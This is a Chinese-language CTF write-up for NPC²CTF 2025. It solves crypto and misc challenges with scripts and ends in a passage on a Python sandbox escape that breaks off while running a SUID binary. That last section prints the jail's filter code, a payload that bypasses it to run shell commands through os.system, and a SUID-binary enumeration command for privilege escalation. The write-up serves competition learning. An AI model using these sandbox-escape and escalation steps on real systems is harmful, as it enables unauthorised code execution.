NPC²CTF 2025 WriteUp

31k words

自从newstar之后已经好久没见过持续时间这么长的比赛了,比赛题目还是有难度的,不过最后费了一些劲还是AK了所有的Reverse、第二周的misc和crypto。

Crypto方向:

river:

由于是对称加密,直接将密文回带就可以得到明文,十六进制转换得到flag{two_dift3rs_0ff_t0_s33_th3_w0rld}.

全网呼叫密码人:

如脚本所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Util.number import *
import gmpy2

#第一部分:凯撒加密
flag1 = bytearray(b"dj_ey//)")
for i in range(len(flag1)):
flag1[i] += 2
#第二部分:维尼吉亚密码(在线求解,https://www.guballa.de/vigenere-solver,密码为crypto)
flag2 = bytearray(b"belie5!_")
#第三部分:AES_CBC,cyberchef求解
flag3 = bytearray(b"U_are_th")
#第四部分:RSA,m、e过小
flag4 = bytearray(b'\x0f\xe5Q\xa5_\x16q\xb0\x11\xbd\xdbO\xe803\xf7\xbf\x16R\xdd\xac\x1a\x96\xf9')
enc = bytes_to_long(flag4)
m, tag = gmpy2.iroot(enc, 3)
flag4 = long_to_bytes(m)
#第五部分:权重计算
encrypted = b'\x07)\x19\x12D\x18\xdc\xf7r\xe1\x7f\xb0}'
encrypted_long = bytes_to_long(encrypted)
result_bin = ''
for i in reversed(range(63)):
if encrypted_long >= 3**i:
result_bin = '1' + result_bin
encrypted_long -= 3**i
else:
result_bin = '0' + result_bin
while result_bin.startswith('0'):
result_bin = result_bin[1:]
flag5 = long_to_bytes(int(result_bin, 2))
#第六部分:简单取模
g = 2**521-1
f = 2*555
p = 2**607-1
h = g*inverse(f, p) % p
enc = b'v\x8bM\x07\xd7h\xb4\xd0}wY\xa1\xe7\x17\x86:\x1eqxc\xa1\xe7\x17\x86:\x1eqxc\xa1\xe7\x17\x86:\x1eqxc\xa1\xe7\x17\x86:\x1eqxc\xa1\xe7\x17\x86:\x1eqxc\xa1\xe7\x17\x86:\x1eqxc\xa1\xe7\x17\xe5\x9d\x86\xd2\xe4\xd0\x06\xed'
encl = bytes_to_long(enc)
testmod = 103887 #尝试得到
for i in range(testmod, testmod + 1):
testflag = i * p + encl - 114514 * h
if testflag > 0:
flag6 = long_to_bytes(testflag)
#第七部分:base64(cyberchef解密)
flag7 = bytearray(b"ge_and_h")
#第八部分:明文
flag8 = bytearray(b'ave_fun}')
#拼合得到flag
flag = flag1+flag2+flag3+flag4+flag5+flag6+flag7+flag8
print(flag)
# flag{11+belie5!_U_are_the_best_in_crypto_challenge_and_have_fun}

得到flag:flag{11+belie5!_U_are_the_best_in_crypto_challenge_and_have_fun}.

OTP?:

观察发现是把一长串明文和flag进行循环异或,flag有27字节,明文则是27*22字节,将明文对于flag的已知部分进行异或可以得到一部分明文,发现是英文词句,然后对未知部分进行枚举,限制明文和flag的字符集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.number import *
#读取文件
def read_hex_int_from_file(file_path):
hex_int_array = []
with open(file_path, 'r') as file:
for line in file:
hex_str = line.strip().lower()
if hex_str.startswith('0x'):
hex_str = hex_str[2:]
try:
hex_int = int(hex_str, 16)
hex_int_array.append(hex_int)
except ValueError as e:
print(f"Error converting line: {line}. Error: {e}")
return hex_int_array

file_path = 'E:/CTF/c.txt'
hex_array = read_hex_int_from_file(file_path)
#定义字符集
def is_valid_character(byte):
char = chr(byte)
valid_chars = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ,.\"")
return char in valid_chars

def ascii_characters():
return bytes(range(32, 127))
#先转义已知的部分
bytes_arrays = []
for idx, value in enumerate(hex_array):
bytes_value = bytearray(long_to_bytes(value))
for i in range(len(bytes_value)):
if i < 5:
bytes_value[i] ^= bytearray(b"flag{")[i]
elif i == len(bytes_value) - 1:
bytes_value[i] ^= bytearray(b"}")[0]
bytes_arrays.append(bytes_value)

possible_keys_for_each_byte = [{} for _ in range(27)]
#转义未知的部分
for byte_index in range(5, 26):
possible_keys_and_plaintexts = []

for char in ascii_characters():
all_match = True
plaintexts_for_this_key = []

for bytes_value in bytes_arrays:
decrypted_byte = bytes_value[byte_index] ^ char
if not is_valid_character(decrypted_byte):
all_match = False
break
plaintexts_for_this_key.append(decrypted_byte)

if all_match:
possible_keys_and_plaintexts.append(
(chr(char), plaintexts_for_this_key))

if possible_keys_and_plaintexts:
print(f"可能的flag字节{byte_index}:",end="")
for key_char, plaintext_bytes_list in possible_keys_and_plaintexts:
decrypted_message = bytearray(
[plaintext_bytes_list[idx] for idx in range(len(bytes_arrays))])
print(f"{key_char}, 对应明文: {decrypted_message}")
else:
print(f"第{byte_index}字节未找到有效解")

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
可能的flag字节5:M, 对应明文: bytearray(b'ere tbOstnn  gyS, ia s')
可能的flag字节6:a, 对应明文: bytearray(b'reyeiynsh edv i dgpm ')
可能的flag字节7:l, 对应明文: bytearray(b'q"qlm"ncgifggvpecglrcv')
n, 对应明文: bytearray(b's sno laekdeetrgaenpat')
可能的flag字节8:y, 对应明文: bytearray(b' n,cntyg e"crhennnalir')
可能的flag字节9:_, 对应明文: bytearray(b'oo i h ecy rievadytila')
可能的flag字节10:T, 对应明文: bytearray(b'rtspkeh,o.uyf et uc"n')
可能的flag字节11:i, 对应明文: bytearray(b' ihe e rAspycauatra s')
可能的flag字节12:m, 对应明文: bytearray(b'onneyi sr it olr hetaf')
可能的flag字节13:e, 对应明文: bytearray(b'tecr nciemnitreese.ine')
g, 对应明文: bytearray(b'vgap"lakgolkvpggqg,klg')
可能的flag字节14:], 对应明文: bytearray(b'jgggrvclqgemjpfqk""mfp')
_, 对应明文: bytearray(b'heeeptansegohrdsi odr')
可能的flag字节15:P, 对应明文: bytearray(b'ed duencps nie gvTn "')
R, 对应明文: bytearray(b'gf"fwglarq"lkg""etVl" ')
可能的flag字节16:a, 对应明文: bytearray(b'rea bn eosa ssecnahs" ')
可能的flag字节17:d, 对应明文: bytearray(b' d uldd na k pnaeli es')
f, 对应明文: bytearray(b'"f"wnff"lc"i"rlcgnk"gq')
可能的flag字节18:_, 对应明文: bytearray(b's msieeodgpesocnrisily')
可能的flag字节19:1, 对应明文: bytearray(b'eteicdcnieryinrn d nes')
可能的flag字节20:s, 对应明文: bytearray(b'cosnl iln i.gdyocih ct')
可能的flag字节21:_, 对应明文: bytearray(b'u sgyrpygcv niptata"te')
可能的flag字节22:f, 对应明文: bytearray(b'rta eh aaAant nyserm')
可能的flag字节23:u, 对应明文: bytearray(b'ergarcehdntntgibn los')
可能的flag字节24:n, 对应明文: bytearray(b' aeneiree eyu oeoooen.')
可能的flag字节25:!, 对应明文: bytearray(b'mn vp cblorpn tfbci.')

则flag为flag{Many_Time_Pad_1s_fun!}.

这还不签到?:

把加密过程倒过来就行了,脚本:

1
2
3
4
5
6
7
8
fv = 180966415225520073565056051181248297290575705125476923438739000037655473277
flag_bytes = []
while fv > 0:
fv, remainder = divmod(fv, 256)
flag_bytes.append(remainder)
flag_bytes.reverse()
flag = ''.join(chr(b) for b in flag_bytes)
print(flag)

flag:flag{1t_i3$n0t#diFicult_@t-all}.

ez_HNP:

本题公钥n不大,可以直接分解:

1
n = 6953568275008329676258828109613762539650527325530995927801460857192130247006862323130968705462697653596124969322108944736820990836508861648601474968768223 = 65260483526602518839784843845912531242888361084882390874073837444262281165409 * 106550976934974827530180341120641270147665720222992379243269395852614293066047

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
b"\x1d\xa73We're swaying on horseback,The hills are green,And the birdie"
b"s sing,And roses are pink,Experience I never had,I'm so happy,Ha"
b'ppy to just be part of your story,After you I follow,After you I'
b' follow,The world you show me broaden my horizon,Forever my hero'
b',Forever my hero,I am your biggest fan,I am your biggest fan,Mer'
b"ry-go-round,In a circle I run,It's so much fun leaving reality b"
b'ehind.\r\nI fall down the horseback,With my crippled legs,And then'
b" it starts to rain,Showing me it's all fake,Raindrops wash down "
b'the facade,Hills are painted,Birdies are robotic,Roses are made '
b'of clay,Excitement that I feel,Excitement that I feel,Return the'
b'm to the shelf,Cause now I understand,Heroes cannot be real,Hero'
b"es cannot be real,I wasn't who I am,I don't know who I am,\xc2\xbfWho "
b'am I?,\xc2\xbfWho am I?,\xc2\xbfWho am I?\r\nHere we go, another lap,Prizes to'
b" claim,Here's a dream for you,Here's a dream for me,Golden ticke"
b'ts(flag{Stand_up,gaL1op_on,N07h1ng_c4n_Be_dOne_by_f33l1nG_5o_5OR'
b"ry_for_y0ursE1f}) in my bag stay unexchanged,Don't you love the "
b'thrill of the chase?Just let me be your fan,I wanna be your fan,'
b"I'm still your biggest fan!\r\nWhy is it that some were given the "
b'role of villian,The moment they were released into this system?\r'
b"\nHero,On a plastic horse,Fighting like it's real,With a cardboar"
b'd sword,I know,Successful or not, I am who I am,I am my biggest '
b'fan,I am my biggest fan,I am my enemy and my friend.\r\nHero,Gonna'
b' prove my version of justice,Is more just than yours,Uno,Remaini'
b'ng on this stage, I am the only one,I am my biggest fan,I am my '

flag{Stand_up,gaL1op_on,N07h1ng_c4n_Be_dOne_by_f33l1nG_5o_5ORry_for_y0ursE1f}.

MTP again:

观察发现,flag是与和自己一样长度的随机OTP进行了8倍于自己长度的异或,flag原长度为70字节,共计560个二进制位,而密文也有560个,且注意到加密所用到的密钥被严格要求汉明重量为自身长度的一半(即对于560个二进制位,其中有280个1,280个0),则有以下关系:

1
2
3
1. HammingWeight(OTP0~560) = 280
2. 由于异或本身的自反性,enc = flag ^ OTP ⇒ OTP = flag ^ enc
3. HammingWeight(flag ^ enc0~560) = HammingWeight(OTP0~560) = 280

有:


又因为异或满足性质:

1
a xor b = a + b - 2 * a * b

所以有:


化简得到:


其中左侧的(1-2*enc)是待求矩阵的系数,flag每一位的取值只能是0或1,等号右侧为常数项,于是我们获得了560个线性方程,而flag恰好有560个二进制位,因此可以得到结果,编写脚本进行解矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import numpy as np
# 提取密文
with open('output.txt', 'r') as f:
encs = [int(line.strip()) for line in f]
# 转换为矩阵,计算每个密文的汉明重量
EncMatrix = []
SumEncs = []
for c in encs:
bin_str = bin(c)[2:].zfill(560)
bits = [int(bit) for bit in bin_str]
EncMatrix.append(bits)
SumEncs.append(sum(bits))
Coefficient = np.array(EncMatrix, dtype=np.int64) # 系数矩阵,560*560
SumEncs = np.array(SumEncs, dtype=np.int64) #560个密文的汉明重量
# 枚举flag所有的汉明重量可能值
for PossibleHW in range(561):
print(f"当前尝试的flag汉明重量为: {PossibleHW}")
# 检查所有右侧常数项是否为整数且非负
if not np.all((SumEncs + PossibleHW - 280) % 2 == 0):
continue
Constant = (SumEncs + PossibleHW - 280) // 2
if np.any(Constant < 0):
continue
# 解线性方程组
try:
x, residuals, rank, _ = np.linalg.lstsq(Coefficient, Constant, rcond=None)
except np.linalg.LinAlgError:
continue
# 由于精度可能不够高,这里要手动筛分得到的解(二值化)并验证
candidate_b = np.round(x).clip(0, 1).astype(np.int64)
if np.sum(candidate_b) != PossibleHW:
continue
# 检查方程组是否近似满足
if not np.allclose(Coefficient.dot(candidate_b), Constant, atol=1e-5):
continue
# 转换为字节
flag_bytes = bytearray()
for i in range(0, 560, 8):
byte_bits = candidate_b[i:i+8]
byte_val = int(''.join(map(str, byte_bits)), 2)
flag_bytes.append(byte_val)
# 解码并验证格式
try:
flag = flag_bytes.decode('utf-8')
if flag.startswith('flag{'):
print(f"找到汉明重量{PossibleHW}对应的flag: {flag}")
break
except UnicodeDecodeError:
continue
else:
print("未找到有效解")

得到flag:flag{__seesee_Neutrality_of_SEETF_2022_it_is_easy_just_LLL&&algebra__}.

AL(L IN MY)GO:

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import inverse, long_to_bytes
import gmpy2

n = 146978395433283264897813405718660588088322207100229521002893751180722325695978423785658275468431402472435440059035053335098162775145300245682198712763023558673286879552547337644749558781058327465800671817512926008450966581498366956477375308931684786869145630887681611140511534001970600372671544461336706473151
c = 144091150656791885294463339584727879265256198198991073653628663376156887178012550858130757614613983484915065317350538883976985699134939611573042960790066164023344748678236482688754022510764186756583653133641013319778030947290249842389554899901303923240856508801296856919235057923994680746764691858073309808359
a1 = 1053418510152174241358999461854322909092508825442671513610563337452117519900867332972692795557266351465654199993733230422011291698479326476444348886243267
b1 = -1261279176969765461388571053396373196897687956581882155016691810326904756013409782332270918104859858382015105036126383763303596291887827997773412160241786
a2 = -608318421636142476525088004848703046473131220627424101349333216947428225580982260314444310553805070604775654234218115580689241049882824418052182364926009
b2 = -508066649413517214369126502601369649992541295266106005724404595564485886689721356446640637437941502925699244645275193681017870974548217184447303220162414

b1_abs = abs(b1)
Delta = 1 + 4 * b1_abs * a1 * n
sqrt_Delta, tag = gmpy2.iroot(Delta, 2)
if sqrt_Delta * sqrt_Delta == Delta:
q = (sqrt_Delta - 1) // (2 * b1_abs)
if n % q == 0:
p = n // q
phi = (p-1) * (q-1)
d = inverse(65537, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())
else:
print("尝试另一个根...")
q = (-sqrt_Delta - 1) // (2 * b1_abs)
if n % q == 0:
p = n // q
phi = (p-1) * (q-1)
d = inverse(65537, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())
else:
print("解密失败。")

运行得到flag:flag{5uch_@_simp13_Algo!!!!!rithm_qu3sti0n_willl_not_bee_dificult_4_U!}.

Ave Mujica 2:

先看题目流程:将flag转换为整数m,然后使用l2d函数将m转换为一个DNA序列dna1,再通过dbp函数得到dna1的互补链dna2,接着对dna2进行两次突变操作,生成十个不同的dna3并输出,而突变有三种情况,每次操作会随机选择其中一种:删除一个随机位置的碱基、在随机位置插入一个随机的碱基、替换一个随机位置的碱基为另一个碱基,则经过两次操作后,最短的情况和最长的情况长度相差为4,列出这十个样本:

1
2
3
4
5
6
7
8
9
10
AGAGAGCTAGCTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAGCTCTGTAAATCAGGTAGAAAACCATGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGACTAGTAAGACACGCATCAACAAACATCTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACACATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGCAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGGTACCA
AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCCACTGACATAGGAACCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACGCTCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACGCATTCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCAGACTAACAAAGAAACTGAGAAAGATACACA
AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCATAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGCTAACAAAGAAACTGAGAAAGATACCA

则最长的那个去掉多出来的四个字符的其中两个后就是原来的链dna2,编写解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import itertools
from Crypto.Util.number import long_to_bytes

def dbp(d):
bp = {"A": "T", "T": "A", "C": "G", "G": "C"}
return "".join([bp[i] for i in d])
base = {"A": "0", "T": "1", "C": "2", "G": "3"}
dna2_p1 = "AGAGA"
sus_1 = "G"
dna2_p2 = "CTAGTAAGACACGCATCAACAAACAT"
sus_2 = "A"
dna2_p3 = "CTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGC"
sus_3 = "A"
dna2_p4 = "GACTAACAAAGAAACTGAGAAAGATAC"
sus_4 = "A"
dna2_p5 = "CA"
sus_indices = [1, 3, 5, 7]
sus_strings = [sus_1, sus_2, sus_3, sus_4]
parts = [dna2_p1, sus_1, dna2_p2, sus_2, dna2_p3, sus_3, dna2_p4, sus_4, dna2_p5]
combinations_to_remove = list(itertools.combinations(sus_indices, 2))
for remove_indices in combinations_to_remove:
new_parts = parts.copy()
for index in sorted(remove_indices, reverse=True):
del new_parts[index]
dna2 = ''.join(new_parts)
print("互补链dna2:", dna2)
dna1 = dbp(dna2)
print("模板链dna1:", dna1)
quad_str = "".join([base[c] for c in dna1])
m = int(quad_str, 4)
flag = long_to_bytes(m)
print("Flag:", flag)

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
互补链dna2: AGAGACTAGTAAGACACGCATCAACAAACATCTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCAGACTAACAAAGAAACTGAGAAAGATACACA
模板链dna1: TCTCTGATCATTCTGTGCGTAGTTGTTTGTAGAGTGTTTCGTTCCTAGGGTAGTTCGGTGACTGTATCCTTGAGACATTTAGTCCATCTTTTGGTCAGTCGGTCGTCTGATTGTTTCTTTGACTCTTTCTATGTGT
Flag: b"fq\x85\x9d\xed5\xd5\xd37V\xd6\x93\xf4\xd6\xf7'F\x972\x156\x86U\xf66\xf6\xd9\xc5\xd5\x95\xc9\x95\x91\xdd"
互补链dna2: AGAGACTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACACA
模板链dna1: TCTCTGATCATTCTGTGCGTAGTTGTTTGTATGAGTGTTTCGTTCCTAGGGTAGTTCGGTGACTGTATCCTTGAGACATTTAGTCCATCTTTTGGTCAGTCGGTCGCTGATTGTTTCTTTGACTCTTTCTATGTGT
Flag: b'fq\x85\x9d\xed5\xd5\xd1\xcd\xd5\xb5\xa4\xfd5\xbd\xc9\xd1\xa5\xcc\x85M\xa1\x95}\x8d\xbd\xb9\xc5\xd5\x95\xc9\x95\x91\xdd'
互补链dna2: AGAGACTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCAGACTAACAAAGAAACTGAGAAAGATACCA
模板链dna1: TCTCTGATCATTCTGTGCGTAGTTGTTTGTATGAGTGTTTCGTTCCTAGGGTAGTTCGGTGACTGTATCCTTGAGACATTTAGTCCATCTTTTGGTCAGTCGGTCGTCTGATTGTTTCTTTGACTCTTTCTATGGT
Flag: b'fq\x85\x9d\xed5\xd5\xd1\xcd\xd5\xb5\xa4\xfd5\xbd\xc9\xd1\xa5\xcc\x85M\xa1\x95}\x8d\xbd\xb6quered}'
互补链dna2: AGAGAGCTAGTAAGACACGCATCAACAAACATCTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACACA
模板链dna1: TCTCTCGATCATTCTGTGCGTAGTTGTTTGTAGAGTGTTTCGTTCCTAGGGTAGTTCGGTGACTGTATCCTTGAGACATTTAGTCCATCTTTTGGTCAGTCGGTCGCTGATTGTTTCTTTGACTCTTTCTATGTGT
Flag: b'flag{Mut\xcd\xd5\xb5\xa4\xfd5\xbd\xc9\xd1\xa5\xcc\x85M\xa1\x95}\x8d\xbd\xb9\xc5\xd5\x95\xc9\x95\x91\xdd'
互补链dna2: AGAGAGCTAGTAAGACACGCATCAACAAACATCTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCAGACTAACAAAGAAACTGAGAAAGATACCA
模板链dna1: TCTCTCGATCATTCTGTGCGTAGTTGTTTGTAGAGTGTTTCGTTCCTAGGGTAGTTCGGTGACTGTATCCTTGAGACATTTAGTCCATCTTTTGGTCAGTCGGTCGTCTGATTGTTTCTTTGACTCTTTCTATGGT
Flag: b'flag{Mut\xcd\xd5\xb5\xa4\xfd5\xbd\xc9\xd1\xa5\xcc\x85M\xa1\x95}\x8d\xbd\xb6quered}'
互补链dna2: AGAGAGCTAGTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA
模板链dna1: TCTCTCGATCATTCTGTGCGTAGTTGTTTGTATGAGTGTTTCGTTCCTAGGGTAGTTCGGTGACTGTATCCTTGAGACATTTAGTCCATCTTTTGGTCAGTCGGTCGCTGATTGTTTCTTTGACTCTTTCTATGGT
Flag: b'flag{Mutsumi?Mortis!She_conquered}'

得到flag:flag{Mutsumi?Mortis!She_conquered}.

Misc方向:

kotlin?:

玩了两把就过了,flag{it_is_not_funny_to_use+korge}.

r!g!b!:

发现是把一个任意二进制文件加密成bmp图像,通过带入找规律得到以下规律:输入的内容会三个字节一组按小端序填入一个像素的RGB,然后再由程序判断图像的长宽(填充成正方形),然后每一行有若干个像素(像素过多时还会填充一个额外的像素用于分隔),行与行之间也按小端序写入,发现secret.bmp有1063914字节,去掉bmp文件头(54字节)有1063860字节,而bmp图像为595*595,按填充计算为596*595*3,恰好为1063860字节,编写脚本恢复原文件的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def process_and_reverse_bmp(file_path, output_file_path, width=596, height=595, header_size=54):
with open(file_path, 'rb') as file:
file.seek(header_size)
data = file.read()
processed_rows = []
for row in range(height):
start_index = row * width * 3
end_index = start_index + (width - 1) * 3
row_data = data[start_index:end_index]
processed_row = bytearray()
for i in range(0, len(row_data), 3):
r, g, b = row_data[i:i+3]
processed_row.extend([b, g, r])
processed_rows.append(processed_row)
processed_rows.reverse()
with open(output_file_path, 'wb') as output_file:
for row in processed_rows:
output_file.write(row)
print(f"处理完成,结果已写入到 {output_file_path}")
input_file_path = r"E:/CTF/secret.bmp"
output_file_path = r"E:/CTF/output.bin"
process_and_reverse_bmp(input_file_path, output_file_path)

得到恢复文件后再将其带入程序进行加密,发现输出图像与原图像的二进制数据一模一样,证明恢复成功,查看恢复文件,发现了明显的ZIP文件开头,将其打开后发现了flag.docx,得到flag{17f8c2dea9b8aae825b25b406a071c43}.

嘟嘟噜:

在jpg文件尾前面找到一个密钥VC_is_1n7erst1n9,用veracrypt解密1文件得到一个磁盘,挂载后打开得到一个fake.txt,又给了一个新的密钥flag_is_hide,再次解密得到一个隐藏磁盘,打开后有一个flag(maybe).txt,内容为hex的base64,解密得到flag:flag{VC_is_S0o00o_ea5Y!!!}.

Escape from Dreams:

发现是黑盒,很多模块被禁用了,system等词也变成了过滤词,尝试了一大通之后发现_getframes没有被过滤,先获取当前文件路径:

1
>> print(sys._getframe(1))
1
<frame at 0x7e1d64a49a80, file '/home/ctf/server.py', line 40, code jail>

得到当前文件路径,接下来打印当前文件内容:

1
>> print(''.__class__.__base__.__subclasses__()[118]("dummy","/home/ctf/server.py").get_data("/home/ctf/server.py"))
1
b'from pyfiglet import Figlet\r\nimport sys\r\n\r\nf = Figlet(font=\'slant\')\r\nprint(f.renderText(\'Inception\'))\r\n\r\nban = [\'__loader__\', \'__import__\', \'compile\', \'eval\', \'exec\', \'chr\',\'locals\',\'globals\',\'bytes\',\'type\',\'open\']\r\nmy_eval_func = eval\r\nmy_input_func = input\r\n\r\nfor m in ban:\r\n    del __builtins__.__dict__[m]\r\n#\xe6\xb2\x99\xe7\xae\xb1\xe9\x80\x83\xe9\x80\xb8\r\ndel __loader__,__builtins__\r\n\r\n\r\ndef jail():\r\n    print("Welcome to the Us3rr0r\'s dream")\r\n    print("Let\'s break free from this layer of dreams")\r\n    print("I heard that there is a problem with Us3rr0r\'s totem")\r\n    print("Enter \'exit\' to exit (*A*)")\r\n    while True:\r\n        input_data = my_input_func(">> ")\r\n        if  "help"in input_data:\r\n            print("I can\'t help you QAQ")\r\n            continue\r\n        if "breakpoint" in input_data:\r\n            print("You can\'t break the dream QWQ")\r\n            continue\r\n        if input_data == "exit":\r\n            print("Goodbye (>^<)")\r\n            break\r\n        if "__builtins__" in input_data:\r\n            print("Dreams do indeed have built-in flags p(ovo)q ~\xe2\x99\xaa ~\xe2\x99\xaa")\r\n            continue\r\n        if "system" in input_data:\r\n            print("There are no errors in the dream system (\xe2\x95\xaf\xc2\xb0\xe2\x96\xa1\xc2\xb0\xef\xbc\x89\xe2\x95\xaf")\r\n            continue\r\n        try:\r\n            my_eval_func(input_data)\r\n        except Exception as e:\r\n            print("Error:",e)\r\n\r\nif __name__ == "__main__":\r\n    jail()\r\n\r\n'

得到当前文件的Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pyfiglet import Figlet
import sys

f = Figlet(font='slant')
print(f.renderText('Inception'))

ban = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','locals','globals','bytes','type','open']
my_eval_func = eval
my_input_func = input

for m in ban:
del __builtins__.__dict__[m]
#沙箱逃逸
del __loader__,__builtins__


def jail():
print("Welcome to the Us3rr0r's dream")
print("Let's break free from this layer of dreams")
print("I heard that there is a problem with Us3rr0r's totem")
print("Enter 'exit' to exit (*A*)")
while True:
input_data = my_input_func(">> ")
if "help"in input_data:
print("I can't help you QAQ")
continue
if "breakpoint" in input_data:
print("You can't break the dream QWQ")
continue
if input_data == "exit":
print("Goodbye (>^<)")
break
if "__builtins__" in input_data:
print("Dreams do indeed have built-in flags p(ovo)q ~♪ ~♪")
continue
if "system" in input_data:
print("There are no errors in the dream system (╯°□°)╯")
continue
try:
my_eval_func(input_data)
except Exception as e:
print("Error:",e)

if __name__ == "__main__":
jail()

根据过滤规则构造payload:

1
>> getattr(f.renderText.__globals__['sys'].modules['os'],  'sys'+'tem')('ls -l')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
total 92
drwxr-xr-x 1 root root 4096 Feb 12 12:56 bin
drwxr-xr-x 2 root root 4096 Apr 2 2023 boot
drwxr-xr-x 5 root root 360 Feb 23 09:54 dev
-rwxr-xr-x 1 root root 1180 Feb 12 12:53 docker-entrypoint.sh
drwxr-xr-x 1 root root 4096 Feb 23 09:54 etc
-r-------- 1 root root 23 Feb 23 09:54 flag
drwxr-xr-x 1 root root 4096 Feb 12 12:56 home
drwxr-xr-x 1 root root 4096 Feb 12 12:56 lib
drwxr-xr-x 1 root root 4096 Feb 12 12:56 lib64
drwxr-xr-x 2 root root 4096 Aug 14 2023 media
drwxr-xr-x 2 root root 4096 Aug 14 2023 mnt
drwxr-xr-x 2 root root 4096 Aug 14 2023 opt
dr-xr-xr-x 306 root root 0 Feb 23 09:54 proc
drwx------ 1 root root 4096 Feb 12 12:56 root
drwxr-xr-x 1 root root 4096 Feb 23 09:54 run
drwxr-xr-x 2 root root 4096 Aug 14 2023 sbin
drwxr-xr-x 2 root root 4096 Aug 14 2023 srv
dr-xr-xr-x 13 root root 0 Feb 23 09:54 sys
drwxrwxrwt 1 root root 4096 Feb 23 09:54 tmp
-r-sr-xr-x 1 root root 16944 Feb 12 15:14 totem
drwxr-xr-x 1 root root 4096 Aug 14 2023 usr
drwxr-xr-x 1 root root 4096 Aug 14 2023 var

发现flag只有root才能查看,因此还需要提权,查看能提权的程序:

1
>> getattr(f.renderText.__globals__['sys'].modules['os'],  'sys'+'tem')('find / -type f -perm -4000 2>/dev/null')
1
2
3
4
5
6
7
8
9
10
/bin/umount
/bin/su
/bin/mount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/sbin/exim4
/totem

发现了一个特殊的程序/totem,试着执行:

1
>> getattr(f.renderText.__globals__['sys'].modules['os'],  'sys'+'tem')('/totem')

